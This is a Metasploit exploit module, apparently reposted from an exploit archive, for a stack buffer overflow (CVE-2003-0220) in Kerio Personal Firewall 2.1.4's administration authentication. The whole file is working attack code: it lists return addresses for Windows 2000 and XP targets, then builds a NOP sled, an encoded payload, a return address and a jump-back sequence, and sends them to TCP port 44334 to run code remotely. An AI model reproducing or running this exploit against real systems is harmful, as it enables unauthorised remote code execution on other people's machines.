Kerio Personal Firewall 2.1.4 - Authentication Packet Overflow (Metasploit)

##
# $Id: kerio_auth.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Kerio Firewall 2.1.4 Authentication Packet Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in Kerio Personal Firewall
				administration authentication process. This module has only been tested
				against Kerio Personal Firewall 2 (2.1.4).
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9525 $',
			'References'     =>
				[
					['CVE', '2003-0220'],
					['OSVDB', '6294'],
					['BID', '7180'],
					['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 800,
					'BadChars' => "\x00",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
					[ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e3171b } ],
					[ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77dc5527 } ],
				],
			'Privileged'     => true,
			'DisclosureDate' => 'Apr 28 2003',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(44334)
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit =  make_nops(4468) + payload.encoded
		sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV')

		sock.put(sploit)
		sock.get_once(-1, 3)

		handler
		disconnect
	end

end